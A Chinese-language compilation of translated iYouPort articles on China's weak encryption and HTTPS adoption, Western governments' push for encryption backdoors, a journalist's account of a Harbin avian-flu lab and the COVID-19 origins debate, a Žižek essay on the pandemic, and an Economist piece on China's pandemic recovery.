然而，中国政府努力抑制加密，只为了方便自己的审查和监控，已经创造了一个这样的在线环境：即使是携带敏感的政府数据、健康数据和商业数据的网站也没有加密，这就使得这些网站更容易被间谍机构和网络犯罪分子利用。

有人提出了一些反驳意见。西方国家政府很热衷于削弱加密技术以方便执法部门进行刑事调查。就在最近，“五眼”情报联盟的成员（澳大利亚、加拿大、新西兰、英国和美国）、以及印度和日本，都呼吁科技公司让政府获得端到端加密的私密内容。澳大利亚还通过了一项法律，规定技术公司有义务为澳大利亚政府引入后门。但尽管有这些举措，加密技术在大多数民主国家仍然很普遍，增加了对恶意攻击和利用的弹性。

【注：您可以在我们的 列表-1 “加密和反加密之战” 板块中看到具体内容】

加密在中国遇到的阻力更大。中国政府的《密码法》及其实施是世界

上最严格的法规之一，政府可以完全接触到国内所有的加密内容。

- 在这里看到具体解释《中国的新 “密码法”如何终结了加密》

中国《密码法》第31条允许国家密码管理局检查和接触加密系统。这条法律适用于所有行业，包括微信等社交媒体公司，因为信息不是端到端加密的，所以它们必须（也能够）交出所有用户数据。

在金融领域，网络安全咨询公司 Trustwave SpiderLabs 披露了一家中国银行要求客户安装的税务软件中如何存在后门，该软件是为了让人们可以在当地缴税。这个被称为 Golden Spy 的恶意软件具有民族国家协调性网络行动的某些特征，由总部位于北京的中国航天科工集团开发，该公司是中国国家税务机关的主要承包商。

虽然 Trustwave SpiderLabs 并未将此次行动归结为任何行为人，但该后门可能是中国当局根据《密码法》对公司网络进行审查的工具。

简而言之，中国的监管环境允许对互联网流量和静止状态下的数据进行侵入性技术监控。该国的互联网生态系统是为监控所有相关的金融、政治、社会和经济数据而量身定做的，通过在网上扼杀任何异议以避免异议扩散到线下，来维护政权稳定。

限制HTTPS的使用和更广泛的加密，对中国的监控基础设施非常重要，并使该国领导人对在线网络有至关重要的洞察力。当数据在未加密的情况下传输时，政府当局可以随时衡量民众的政治情绪，他们可以允许赞美中共的内容，并屏蔽批评中共的内容。

然而，这种对侵入性监控的需求和规避加密的强调是有代价的。正如专家和国家安全官员认为的那样，破坏加密会危及网络安全和国家安全，中国在多大程度上阻止境内加密可能会伴随着其网络防御能力的削弱。

中国的信息控制基础设施如何潜在影响其网络防御能力的问题受到了有限的关注。例如，Robert Sheldon 就认为，在中国，将大量资源投入到运营审查监控的基础设施上，使有限的熟练人力资源被抽走，而这些人力资源本来可以在网络防御或进攻中发挥作用。

中国无孔不入的监控基础设施，加上弱小的或有时根本不存在的加密技术，也让中国的许多数据暴露在被操纵和被间谍的状态中。我在各个政府和行业部门进行了搜索，以衡量与中国国家安全相关的网站是否部署了HTTPS。

许多与政府服务、国家重要基础设施或社交媒体平台有关的网站和登录入口均未实施 HTTPS。因此，这些网站很容易被第三方操纵和冒充，敏感用户数据更容易被外国情报机构拦截。这使得不仅是国家安全官员、政府间谍/军事人员，还包括普通公民、就医的患者和银行客户，都面临这些风险。

受影响的机构包括中国人民解放军海军、中国人民公安大学、中国政府网、外交部、中共中央统战部、北京医院、中国联合航空公司、吉林银行、人人网（社交媒体平台）和人民日报（报纸）。

值得注意的是，部分中国网站确实部署了HTTPS。另一些网站则在HTTP页面中嵌入HTTPS内容，但这还不够，因为恶意者可以进行中间人攻击，将“真实”的登录页面替换成另一个“虚假”的登录页面。

中国目前的网站安全状况，以及更广泛的网络防御能力，之所以严峻，可能有很多原因。一种解释可能是当局和运营网站的私营公司一直没有意识到他们的不良安全行为；另一个原因可能是，虽然私营行业和非政府组织在西方推动了HTTPS的实施，但类似的运动在中国可能还没有发生。然而，网络安全和防御能力被削弱的最可能原因是，政府有意削弱加密和安全实践，以便中国的信息控制机器能够发挥作用。

信息控制（通过监视、审查、诱导自我审查、和战略性信息传播）具有经济和人权方面的影响。中国和许多西方国家都在很大程度上依赖于监视和塑造公众舆论来控制其领土内的人口，民主国家在信息控制方面的做法各不相同，它们限制审查的数量，更多诱导民众进行自我审查。

- 《中国的互联网维稳产业：谁将成为唯一的失败者？》

过于压抑的信息控制并没有阻碍中国数字经济的发展，但一些评论家认为，限制信息的自由流动扼杀了经济的增长，这在直播行业中就可以看到。无孔不入的信息控制在人权方面产生了更直接的影响，使少数民族和持不同政见者都暴露在执政党的压迫之下。

虽然信息控制对经济和人权的影响已经有了较为广泛的研究，但对其对网络防御能力的影响还没有被充分的分析。

政策制定者需要意识到，网络空间的成功竞争取决于对民主或专制政府模式对一国网络防御的后果有内在的了解。长期以来，西方领导人一直将物理基础设施的安全放在首位，这可能会转化为更好的网络防

御能力，但它也相当于让这些政府对信息操纵持开放态度；同时，更多专制主义倾向的国家在防御信息操纵方面可能具有更多优势，但代价是可能更容易受到网络攻击和利用。专制政府可能会容忍这种对安全的妥协，因为他们优先考虑监视和审查的做法。

民主政府和专制政府对网络安全不同方面的不同侧重并不新鲜。然而，西方政府过于强调民主政体在信息操纵方面的脆弱性，而对专制政权在网络防御方面的脆弱性关注不够。民主政府必须评估专制倾向国家在信息控制和政权稳定方面的考虑对其日常网络行动的影响。

不同的信息控制制度不仅影响到加密技术的采用，而且还影响到一个国家更广泛的互联网基础设施。这就提出了一个问题，即 所谓的防火长城（中国的审查和监控项目）或 SORM（操作性调查活动系统——俄罗斯的在线监控系统）如何在潜在的敌对活动中被用于防御目的或被进攻者利用。例如，GFW的基础设施在中国国外已经被用于进攻目的，在被称为大炮的分布式拒绝服务攻击中。

长期以来，中国可能更愿意关注其进攻性而非防御性网络能力。解放军已经将其思维向这个方向倾斜，强调需要加强网络防御能力。也许中国内部应该进行更广泛的反思，通过提高真正的网络安全，让网民有更大的自由度和匿名性。

- 下载一本书《窥探中国的信息战和网络运营内部》

但包括实施无处不在的加密在内的根本性体制改革不太可能发生，因为更广泛地采用强加密会削弱政府对公民意见的监视能力，并降低其在国内操纵和拒绝内容的能力。这将意味着对巩固统治阶级权力的信息控制机器的根本性挑战。然而，如果中国保持现状，这样做可能会以牺牲其网络防御能力为代价 —— 并在未来几年内使竞争大国的网络行动受益。〇

How China’s Control of Information is a Cyber Weakness

原文

反加密的战争正在升级：美国、英国和澳大利亚政府说"我们要后门" - iYouPort

加密和反加密之战

反加密的战争正在升级。

美国、英国和澳大利亚的高级执法官员告诉 Facebook，⚠他们想要后门以访问其所有平台上发送的所有加密消息。

这些政府在公开信中呼吁 Mark Zuckerberg 停止 Facebook 在公司所有消息产品上引入端到端加密的计划，并要求该公司承诺它将“允许执法部门能够以可读和可用的格式合法访问内容。”

这是破坏数十亿人使用的通信工具的安全性和隐私性的惊人尝试。EFF表示：Facebook不应该遵守这项命令（Facebook 会同意吗？读过斯诺登文件的人应该表示怀疑）。

这封公开信与美国和英国之间新协议的签署相一致，该协议允许一个司法管辖区的执法部门更轻松地获取另一司法管辖区中存储的电子数据。也就是跨国维稳协议。

并且，写给 Facebook 的这封信还更进了一步：⚠英美澳这三个国家的执法部门和国安机构直接要求访问的内容遍及每台数字设备上的每一次对话。

这封信侧重于所谓的执法方面的挑战，但是，它忽略了引入加密后门可能造成的严重风险。

许多人，包括新闻工作者、人权活动家、敏感人士、以及家暴受害者，都在使用加密技术来确保物理世界和在线世界的安全。加密对于防止犯罪分子、政府、和寡头公司的监视是至关重要的。

加密是我们可以抵御全面统治的一个希望，一个结合勇气、洞见和团结的希望 —— 我们可以摆脱无处不在的入侵，从中创造一个新的国度，将那些物质现实的控制者隔离在外，他们一直在煞费苦心地追踪

我们所有人。《创建属于我们自己的国土；推荐非暴力直接行动的终极形式—— 为自由而战（三）》

并且，这些政府寻求的加密通信的后门将不仅适用于那些具有所谓法治功能的政府。因为技术是没有国界的。

这些寡头公司一旦构建了这样的后门就必须将其提供给威权政权，例如，他们可能以打击恐怖主义或维稳内乱为名寻求间谍公民的能力。

美国司法部及其在英国和澳大利亚的合作伙伴声称支持“强加密”，但是，在这封信中所描述的对加密数据的无限制访问能力与加密的实际工作方式不兼容。〇

The Open Letter from the Governments of US, UK, and Australia to Facebook is An All-Out Attack on Encryption

原文

"我参观了一个中国实验室。我学到的东西有助于解释关于 Covid-19 起源的冲突" - iyouport

COVID-19(84)

我们应该让科学和证据占上风，同时认识到，科学与其他学科一样，是由相互竞争的利益塑造的。

【注】本文不代表我们的意见。只因为IYP对流行病学一窍不通。但我们能分辨出哪些叙述是客观的，哪些带有立场的映射。我们不喜欢科学与政治利益的混淆，就如不喜欢以政治为证据推测数字技术那样。我们希望每个人都获得健康，希望病毒传播早日终结。为了实现这点，我们需要呼吁知情人说实话。

尤其是，我们需要知道，为什么知情人不愿意说实话。

本文并非流行病学论述，而是一位美国著名记者在讲述她的亲历和调查。其中关联的其他相关资源也值得您阅读。

相同主题的文章有非常之多，我们只是选了一个相对容易理解的文章给您。您信任谁或者不信任谁，完全取决于您。再一次强调，我们不做判断。

2013年，当上海出现了一种新的禽流感病毒时，我就住在上海。疫情开始于2月，农历新年后不久，一位87岁的老人和他的两个儿子因发烧和其他症状求助于当地医院。到3月初，这位老人已经死亡，导致一位匿名的中国社交媒体用户猜测围绕他死亡的奇怪情况。审查人员迅速删除了这个帖子。

上海官员最初说，该男子死于常规并发症，但是到了月底，政府的说法已经让位于一个令人不安的承认。中国卫生部通知世界卫生组织，出现了一种名为H7N9的新型禽流感病毒。死亡人数上升到7人，病例蔓延到上海周边省份。公共卫生专家失眠了，他们担心世界正处于大流行病的边缘。

与 SARS-CoV-2（导致Covid-19的冠状病毒）相比，H7N9 将变成一个小威胁，但它所走的道路对于任何在过去一年中追踪新闻的人来说都会听起来很熟悉。中国最初的病例出现之后就是审查和保密，这让人们对政府和中国科学家们的怀疑挥之不去。

我清楚地记得这一轨迹，因为在H7N9疫情爆发期间，我是《科学》杂志的首席记者。在过去的一年里，在媒体对寻找 SARS-CoV-2 起源的报道中，我多次回想我在2013年写的一篇特别报道。

我介绍了一位正在帮助当局控制H7N9传播的流行病研究人员。甚至在她成为疫情的关键人物时，她还因为对另一种禽流感病毒所做的实验而处于科学争论的中心。这项工作涉及调整病原体，以研究它们如何变得更具传染性，这种类型的研究通常被归纳为“功能增益”的简称。这种实验的支持者认为，更好地了解病毒如何从一个物种传播到另一个物种，可以帮助公共卫生专家抵御自然爆发。批评者担心，她的研究非但不能帮助全球健康，反而可能引发一场大流行病。

那是在功能增益工作被搅进美国政治之前，在它与对前总统唐纳德·特朗普和前国务卿迈克·蓬佩奥的情绪、种族主义和反种族主义、以及对科学的信心混在一起之前。共和党人相信一些声势浩大的政客，他们错误地声称大流行病肯定是由实验室泄漏造成的，而民主党人相信一些声势浩大的科学家，他们也错误地保证这种事绝对不可能发生。

如果您错过了《中国与两党关系的危险》

可以肯定的是，即使在2013年，功能增益研究也是政治性的，但只是在科学界。（广义的“功能增益”标签可适用于风险较小的研究，但批评者主要关注的是涉及使病原体以可能对人类构成风险的方式更具传播性的研究）。了解这场辩论是掌握主流媒体如何以及为什么会发生如此突然的转变的关键，从把对实验室泄密的猜测打上阴谋论的烙印，到热情地、草率地拥抱这一说法。

2013年，当关于一种新病毒的第一个传言在中国社交媒体上流传开时，我正在家里照顾一个新生儿。为了报道这种新病毒，我提前休完产假回来，并很快飞到中国东北的哈尔滨市，采访中国著名的禽流感专家陈化兰。因为我的孩子还很小，所以我把孩子和我的伴侣一起带来了。

作为哈尔滨兽医研究所国家禽流感参考实验室的负责人，陈负责监督H7N9的动物测试工作。像之前的许多病毒一样—— 包括埃博拉、MERS和第一次SARS —— H7N9从动物传播给人的。所谓的自然溢出

往往发生在人口稠密的地区，那里的人与动物生活在一起。（这种状况是许多科学家怀疑SARS-CoV-2有自然起源的原因之一）。对于H7N9，可能的罪魁祸首是家禽市场。我想和陈谈一谈疫情爆发的早期，当时她的实验室人员争先恐后地对从鸡和鸽子身上分离出来的H7N9病毒株进行测序和分析。

但我也想问问她的其他研究。在我进行这次访问的前不久，陈和她的同事在《科学》杂志上发表了一篇论文，详细介绍了用豚鼠进行的大规模功能增益实验。该实验涉及将H5N1病毒的基因片段与H1N1猪病毒的基因片段互换，然后用混合病毒感染豚鼠。她的团队发现，他们可以通过调换一个基因使病毒从一种动物跃迁到另一种动物。豚鼠代表了人类。

即使中国正处于一场明显具有自然起源的疫情中，批评者担心对病原体的风险研究可能导致更严重的疫情。但那是八年前的事了，当时关于这种研究的讨论还没有涉及地缘政治问题。

抵达哈尔滨后，我们入住了一家新古典主义风格的酒店，俯瞰斯大林公园。我的伴侣和孩子住在那里，而我则乘车前往禽流感实验室，当时该实验室位于1949年中国共产主义革命前建造的一个庞大的建筑群中。

哈尔滨是一个落后于中国较发达城市的北方前哨，对于科学家研究高度危险的病原体的实验室来说，这并不是一个合乎逻辑的地方，但是在中国，就像世界其他地方一样，关于在哪里建立这样的实验室的决定并不总是由生物安全问题驱动的。

在这种情况下，哈尔滨已经成为一个研究中心，这是偶然性和使命感的结合。中国东北是一个拥有大量牲畜的传统农业地区。几十年前，农民的需求使哈尔滨成为一个兽医研究中心。随着时间的推移，兽医科学让位于一个专注于动物的实验室，该实验室被列为生物安全等级P3，或BSL-3。2018年，哈尔滨兽医研究所搬到了一个拥有BSL-4实验室的新园区，这是最高的生物安全级别。（中国的另一个BSL-4实验室在武汉病毒研究所，该研究所是SARS-CoV-2实验室泄漏假说的中心）。Chen Hualan at the National Avian Influenza Reference Laboratory in Harbin, China, on June 15, 2013.

陈女士说话温和，很讨人喜欢。她带我参观了大楼中不需要穿防护服和其他保护设备的部分，并询问了我的孩子。她告诉我，当她在20世纪90年代开始研究时，中国的病毒学家甚至难以获得可供研究的菌株。在解决了这个问题之后，他们又面临着其他挑战。她说：“当他

们得到一种病毒时，他们只是把它放在冰箱里”，她谈到了上世纪初中国的科学家们，“人们不知道如何用病毒做研究。他们可能不乐意听我这么说，但这是事实”。

陈去了美国，在亚特兰大的疾病控制和预防中心做博士后工作，师从著名的流感科学家 Kanta Subbarao。三年后，她得到了一个回到中国的职位，领导哈尔滨的实验室。陈感觉到，研究条件正在发生变化，她说中国将成为一个令人兴奋的流感研究场所。

在随后的几十年里，她的预感得到了证实。中国成为了一个进行尖端实验和拥有大量拨款预算的地方。研究人员与世界上其他地方的科学家密切合作，并在顶级期刊上发表他们的研究成果。对于传染病监测来说，需要一个全球网络来追踪新出现的疫情，这种合作是至关重要的。

但是，随着中国科学的国际地位上升，它也被困扰着世界其他地方科学研究的争议所困扰。

陈关于H5N1和豚鼠的论文发表于2013年5月，当时H7N9仍在中国南部蔓延。十多位研究人员参与了这项研究，其中涉及250只豚鼠、1,000只小鼠和27,000个受感染的鸡蛋。他们的目标是确定哪些变化会使H5N1病毒更有效地传播。在调换了单一基因后，他们发现受感染的动物可以通过呼吸道飞沫将病毒传给相邻笼子里的健康动物。

一场暴风雨随之而来。英国皇家学会前主席罗伯特·梅勋爵在《每日邮报》的版面上发表评论，称这项研究“令人震惊地不负责任”。

批评声也来自中国国内。中国科学院病原微生物学和免疫学重点实验室副主任刘文军当时告诉我，当该论文发表时，“中国的科学家们相当震惊”。“这种人造病毒可能会在中国造成一个大问题。人们真的很担心生物安全问题”。

陈说，她的所有研究都是光明正大的，而且在抗议声中，中国农业部已经派了两个人到该实验室，以确保其病毒得到适当的储存。她的团队还开发了令人印象深刻的禽类疾病疫苗。她说，她觉得这些批评是没有根据的，并补充说，May 是一位理论生态学家，不了解她的工作。

从事类似研究的病毒学家对陈的工作有完全不同的看法。我和他们中的五个人谈过。其中一位对实验的设计提出了异议，但其他的人使用了“模范”和“高度尊重”这样的字眼。荷兰鹿特丹 Erasmus MC 公司

的 Ron Fouchier 告诉我，他曾梦想做与陈完全相同的实验，但由于各种限制而无法做到。他在一封电子邮件中写道：“我没有得到一笔能让我负担得起与13个人一起工作两年以产生一篇论文的资助，无论那篇论文会多么出色。威斯康星大学麦迪逊分校的 Yoshihiro Kawaoka 也高度评价了陈，并告诉我她的实验室是最先进的。

但 **Fouchier** 和 **Kawaoka** 在这个问题上并非完全中立。他们曾因类似的实验而受到批评。**2011**年，他们所做的涉及可能通过空气传播的**H5N1**病毒的研究引发了全球哗然，当时在他们发表结果之前，实验的消息被泄露。2014年，包括陈、Fouchier 和 Kawaoka 在内的研究促使批评者组成了剑桥工作小组，该小组呼吁停止对可能导致大流行的病原体的研究，等待彻底审查。

剑桥工作小组的工作促使美国国家卫生研究院在同年暂停了某些类型的功能增益研究。三年后，美国国家卫生研究院取消了这项禁令，并以一个更宽松的框架取而代之。当时，人们认为病毒学家不能自律，他们的工作需要被监管。但是，在大流行之后，对于部分政治左翼来说，这种观念已经成为异端邪说。

直到最近，关于病毒可能从实验室泄漏的说法与一个人的政治信仰才产生了关系。第一批SARS病毒曾多次从实验室泄漏 —— 包括至少两次从北京的国家病毒学研究所泄漏。1977年在苏联和中国爆发的甲型H1N1流感被认为是由苏联科学家在实验室里用活体病毒做实验造成的。一些领先的美国实验室也有重大的安全漏洞，包括在美国疾病控制与预防中心CDC。

在大流行之前，科学媒体经常报道此类风险。在2017年一篇关于武汉病毒研究所开业的文章中，《自然》杂志提出了对生物安全的担忧。在Covid-19大流行初期，《科学》杂志也在一篇文章中提出了实验室泄漏的概念，并讨论了自然溢出的问题。

然后，有影响力的传染病专家和动物学家彼得·达斯扎克进入了这个战场。达斯扎克的组织 “生态健康联盟” 向武汉病毒研究所分发了美国政府的资助资金，他与那里的研究人员密切合作。他组织了一批科学家写了一份声明，发表在2020年2月的《柳叶刀》上，谴责围绕大流行病起源的 “谣言和错误信息” 的传播。该小组写道：“我们站在一起，强烈谴责暗示COVID-19没有自然起源的阴谋论”。这封信显然否定了实验室事故的合理前景，以及关于生物武器的荒诞主张，有助于压制关于这一问题的辩论。

那年春天，当特朗普在没有引用证据的情况下将大流行病归咎于武汉

实验室时，讨论变得更加激烈了。

在随后的报道中，一些记者显然认为不加批判地报道研究人员的言论是他们的职责，就好像科学家是特朗普的中立陪衬。Vox在一篇驳斥实验室泄密假说的解释文章中广泛引用了达斯扎克的话。

达斯扎克最终加入了世界卫生组织和《柳叶刀》的起源委员会，这些委员会正在调查冠状病毒大流行的原因。他主持了《柳叶刀》的委员会。去年秋天，担任世卫组织人类基因组编辑咨询委员会成员的大西洋理事会高级研究员的杰米·梅茨尔写信给《柳叶刀》编辑理查德·霍顿，指出达斯扎克的利益冲突。他补充说，他尊重达斯扎克的工作，并写道："我绝对不是说他做错了什么，只是说其中一个可能的起源故事中包括他"。

Metzl 说，《柳叶刀》的编辑没有回信。"我当时有点天真，无法想象他们会明知故犯地做出这样的决定"，他告诉我。正如 Metzl 所指出的，利益冲突并不意味着有罪。但达斯扎克的关系助长了网上的怀疑，使那些希望得到真正答案的生物安全专家感到沮丧。Members of the World Health Organization team investigating the origins of Covid-19 arrive at the Wuhan Institute of Virology in Wuhan, China, on Feb. 3, 2021

在世卫组织委员会的中国之行后，Metzl 帮助领导了一个科学家小组，他们写了一封公开信，呼吁对SARS-CoV-2的起源进行更广泛的调查。在委员会对武汉进行了有限的考察并对选择性数据进行分析之后，他们又写了一封公开信，认为实验室泄漏的可能性 "非常小"。

这两封信的一些签名者是法国科学家。艾克斯-马赛大学的生物信息学教授 Jacques van Helden 告诉我，围绕大流行病起源的讨论在法国没有那么两极化，他指出，特朗普在美国已经玷污了这个问题。"我怀疑这甚至可能导致美国科学界的一部分人避免讨论这个问题"。他说，"因为表达病毒来自实验室泄漏的可能性会被认为是对特朗普的支持"。

另一封呼吁进行透明和客观调查的公开信紧随其后，这次是来自一群知名专家。签名的人包括福瑞德·哈金森癌症研究中心(Fred Hutchinson Cancer Research Center)的进化生物学家杰西·布鲁姆、斯坦福大学微生物学家大卫·雷尔曼、和哈佛大学流行病学和微生物学家马克·利普斯奇，他在几年前成立了剑桥工作小组，推动限制功能增益的研究。

甚至世卫组织总干事泰德罗斯·阿达诺姆·盖布雷耶苏斯也说，实验室泄漏的假说“需要进一步调查”。Vox在其解释中添加了一个说明，指出“科学共识已经转变”。

但是，我们现在所处的修正时刻以其自身的方式是危险的。仍然没有直接证据支持实验室泄漏，许多与结果无关的科学家仍然说自然起源更有可能。事实上，科学共识并没有转向实验室的起源。但是，一些既缺乏专业知识又怀有目的的学者认为，实验室泄漏导致了这场大流行病，这是很危险的。

Bari Weiss，这位前《纽约时报》专栏作家，大部分时间都在抨击取消文化，最近发表了对庞培奥的采访，庞培奥告诉她，证据“指向实验室泄漏的单一方向”，尽管他补充说，“我不能为你提供证据”。

最诚实的专家只是说他们不知道。进化生物学家布鲁姆在他的研究所发表的一份问答中说：“我们并没有对一种情况比另一种情况更有可能采取主张立场。作为一名科学家，重要的是要清楚地传达出存在科学上的不确定性—— 特别是因为这是一个热门话题”。

各方都有怨言。布罗德研究所的分子生物学家 Alina Chan 主张对实验室泄漏假说进行更全面的调查，结果她被指控为种族叛徒。病毒学家安吉拉·拉斯穆森（Angela Rasmussen）是自然起源的有力支持者，她在推特上受到了恶意的骚扰。《每日邮报》最近派狗仔队到达斯扎克的家里，然后刊登了他报警的照片。中国的科学家们也受到了围攻。哈尔滨兽医研究所和武汉病毒研究所已经从其网站上删除了一些工作人员的信息。几周前，我收到了某人的仇恨邮件，他对我去年春天在一篇关于病毒起源的文章中提到实验室泄密的假说感到不满，当时对进步媒体来说，这几乎是不可触及的，但却没有给特朗普适当的“荣誉”。

我们应该让科学和证据占上风，同时认识到我在**2013**年的报告中提出的观点：科学和其他任何学科一样，是由相互竞争的利益所决定的。哈佛大学流行病学家 Lipsitch 在本月早些时候与陈的布鲁金斯学会活动中强调了这一点。

Lipsitch 在活动中说：“我认为，我们对科学家的信任不应该多于或少于对其他人的信任。我们应该相信科学。当科学家讲科学时，我们应该相信他们，因为我们应该认识到他们是以证据为基础的方式说话。当科学家在没有引用证据的情况下表达政治观点或政策偏好甚至声称世界如何时，我们不应该给予这些科学家不适当的尊重”。

他继续说，在这些时候，科学家并不是在做科学。“他们是人。我们也是人”。〇

I Visited a Chinese Lab at the Center of a Biosafety Debate. What I Learned Helps Explain the Clash Over Covid-19’s Origins.

原文

Slavoj Žižek：冠状病毒和法国的抗议活动之间有什么共同点 - iyouport

COVID-19(84)

【2020年2月21日存档】前两天与端传媒的编辑邮件沟通，在结束时我写道："祝福所有人都能平安渡过这一困境，获得真实的及时的资讯，尤其是，希望疫情过后，能够通过公民行动追查到切实的原因，和责任人（如果有的话）。" 以下是 Žižek 今天的文章，他潜在地提醒了我认为 "尤其" 的这部分。

REUTERS/Philippe Wojazer; REUTERS/Aly Song

就像社会抗议活动一样，疫情爆发不会突然出现然后消失。它们顽固地潜伏着，在最不经意之间爆发。我们应该接受这一点，并且有两种不同的方式可以做到。

中国境外的人认为，隔离足以解决该病毒的传播问题，他们在 "隔离墙" 后面或多或少是安全的。但是，既然已经在20多个国家都报告发现了冠状病毒感染病例，这意味着急需一种新的方法。我们如何应对这种创伤性威胁？

也许我们能从应对冠状病毒疫情的反应中学到一些东西，根据精神科医师兼作家 Elisabeth Kübler-Ross 在《论死亡和将死》（On Death and Dying）中提出的著名五阶段模式，关于人们在得知身患绝症时作何反应：

- 拒绝 —— 只是拒绝接受这一事实，如 "这不可能发生，不可能发生在我身上；
- 愤怒 —— 当我们无法再否认这一事实时便会爆发愤怒，如 "我怎么会这样？"
- 讨价还价 —— 希望自己可以以某种方式推迟或减少这一事实，如 "让我活着看到我的孩子毕业吧"；
- 抑郁 —— 虚无，如 "反正要死了何必自寻烦恼"；

- 最终是接受 —— “我已经无法抗拒，应该为此做好准备”。

Kübler-Ross 后来将这5个阶段模型应用于任何形式的灾难性个人损失（失业、亲人死亡、离婚、吸毒成瘾），并强调指出：这些阶段不一定按照同一顺序发生，也不是所有人都能经历完整的五个阶段。

每当一个社会面临某种创伤事件时，总是可以辨别出这五个阶段。以应对生态灾难（气候危机）的威胁为例。

首先，人们倾向于否认它 —— “这只是偏执狂的想法，真正发生的只是天气模式的惯常波动”。

然后是愤怒 —— 对污染环境的寡头公司和对危险视而不见的政府的愤怒。

再然后是讨价还价：“如果我们回收废物，可以争取到一些时间；另外，它也有很好的一面，我们现在可以在格陵兰岛种菜，船只将能够通过北部航线更快地将商品从中国运到美国，由于冻层融化，西伯利亚北部有了新的肥沃土地可用。”

接着是抑郁 —— “太迟了，我们失败了”。

最后是接受 —— “我们正面临严重威胁，将不得不改变我们的整个生活方式！”

同样的模型同样适用于对我们的生活中日益增长的数字监控威胁。

再一次，首先，人们倾向于否认它 —— 认为这是 “夸张的”，“更多左派的妄想症”，“没有什么机构可以控制我们的日常活动。”

然后是愤怒 —— 愤怒于寡头公司和政府秘密间谍，他们 “比我们自己更了解我们”，并利用这些了解来控制和操纵我们。

再然后是讨价还价 —— 劝导自己相信 “当局有权搜寻恐怖分子，而不会侵犯公民的隐私权”。

再之后是抑郁 —— “太迟了，我们已经没有隐私人权了，个人自由的时代已经过去了”。

最终就是接受 —— “数字控制是对我们自由的威胁，我们应该让公众意识到其所有方面，并参与到斗争中来！”*A Chinese man wears a protective mask, February 12, 2020, Beijing, China © Getty Images /*

甚至在政治领域也是如此，那些因特朗普当选而受到伤害的人也在重复同样的模式。

首先是否认 —— “别担心，特朗普只是装腔作势，他掌权并不会有任何改变”；

然后是愤怒 —— 把他推 上台的 “黑暗势力”、支持他的那些民粹主义者，对我们的道德实质构成威胁；

再然后是讨价还价 —— “还没有失去一切，也许特朗普可以被遏制住，让我们容忍他的一些过分行为吧”；

接着是抑郁 —— “我们正在走向法西斯主义，美国没有民主了”；

最后是接受 —— ”美国已经出现了一个新政权，美式民主的美好旧时光一去不复返了，我们要直面危险冷静地计划如何才能战胜特朗普的民粹主义。”

在中世纪时期，受鼠疫影响的城镇居民也以类似的方式做出反应。

首先是否认，然后是愤怒 —— “我们罪恶的生活被惩罚了，或许甚至是让瘟疫发生的残酷的上帝”；

接着讨价还价 —— “还不太糟，我们可以消避开那些被感染的病人”；

然后是抑郁 —— 我们的生命结束了；

接下来，有趣的是，纵欲 —— “既然我们的生命结束了，那就尽可能及时行乐吧。畅饮，性……”；

最终，是接受 —— “我们还活着，那就尽可能表现得像正常生活在继续一样。”

这也同样呈现在人们如何应对2019年底爆发的冠状病毒疫情中不是吗？

首先是否认 —— 没有发生严重的事，不过是某些不负责的家伙散播恐慌；

然后是愤怒 —— 通常是种族主义或反国家的形式：肮脏的中国人有罪，我们的国家不够高效……

接着是讨价还价 —— 好吧有一些受害者，但没有非典那会儿严重，我们能够控制住损失；

如果这行不通，抑郁就出现了 —— 别再自欺欺人了，我们都在劫难逃 ……

但是，这里的 “接受” 会是什么样子的？

古怪的事实在于，疫情显示出一种特性，与最新一轮的社会抗议存在很多共同点，比如那些在法国和香港发生的抗议：它们不是爆发式的速战速决的，而是一直呆在这里，坚持着，将永久的恐惧和脆弱注入人们的生活。

我们应该接受的、应该与自己解释的是，存在着生命的下一层，即 病毒的不死，愚蠢的重复性地生存，它永远存在于我们身边，永远像阴影一样笼罩着我们，对我们的生存构成威胁，在我们最不期望的时候爆发出来。

从更广泛的层面上讲，病毒流行提醒人们生命的最终偶然性和无意义：无论人类创造了多么宏伟的精神大厦，像病毒或小行星这类愚蠢的自然偶然事件就可以终结一切。更不用说生态学的教导了 —— 我们人类也可能在不知不觉中促成这一终结。

但是，最终的 “接受” 可以采取两个方向。

其中之一可能意味着只是疾病的正常化：好吧，人都会死，但生活会继续，甚至可能有一些良好的副作用。

而另一种，“接受” 可以（并且应该）推动我们动员起来，抛弃恐慌和幻想，在集体团结中行动起来。〇

Slavoj Zizek: What the coronavirus & France protests have in common (and is it time for ORGIES yet?)

原文

中国吹的牛皮可能会加剧中西方之间的分歧 - iyouport

COVID-19(84)

【2020年12月9日存档】在中国吹牛的情况下全球复苏的不平衡让其他国家对中国产生了更多的反感 …… 这是经济学人的文章，其中有些细节您可能不同意，不过它的结论是对的。

一系列的失败使2020年成为中国与世界之关系最艰难的一年。首先，中国官员 —— 遵循他们一贯不负责任、保密的一党制的逻辑 —— 没有在几个关键的星期内报告中心城市武汉出现的未知病毒，使covid-19 有时间扎根。

更多的失败接踵而至。随着一个又一个外国政府的应对措施失误，中国的统治者拒绝为这场大流行病承担任何责任，反而对澳大利亚等要求调查疫情起源的国家进行经济制裁。

代价是显而易见的：皮尤研究中心最近对富裕国家的调查发现，人们对中国的不信任感急剧上升（澳大利亚的负面看法自去年以来猛增24个百分点）。

中国与世界之间的那条政治鸿沟将继续扩大。这一次，原因将是不对称的成功。中国已经有效控制了covid-19，经济正在恢复生机；与此同时，美国、欧洲和其他国家的政府面临第二波感染和企业破产，公共赤字爆炸。一些民选领导人将失去职位。

在全球苦难中，中国领导人称他们国家的复苏证明了共产党的统治将组织能力、对科学的尊重和中国传统道德进行了独特有效的融合。他们即将发现，这种自吹自擂对世界其他地方的许多人来说将是多么的挑衅。

外国的愤怒将反过来引起中国国内的不满。普通的中国人还记得数以亿计的公民所做出的集体牺牲，他们在室内呆了几个星期，常常是无

偿的。西方政客轻描淡写地说着欣赏中国人民、反对共产党的台词，并于事无补。

人是复杂的。中国公民有可能记得他们的领导人早期的错误，对官员们粗暴地实施封锁感到不满，同时却又同意中国的疫情应对措施是“国家的骄傲”。现代中国的故事并不是每一个被压迫的群众都渴望自由的故事。

党的老板们把他们的统治权建立在让人民生活更好的基础上。他们的中国是一个大国工程，享有广泛的、甚至不为人知的公众支持。让外国政府头疼的是，当该党压制少数族裔时，该如何应对，无论是民族的、宗教的还是政治的。

Covid-19 给关于哪种政治制度更好的争论带来了新的优势。在普通中国人看来，西方对病毒的处理方式有“多么糟糕”，是难以言表的。听到受过西方教育的自由主义者怀疑民主是否被暴露出自私和无序，令人心痛。长期崇拜美国的中国人看着美国总统特朗普指责自己的国家向世界释放“中国病毒”，听到的是煽动种族仇恨的可怕言论。中国的民族主义者有点愤愤不平了。

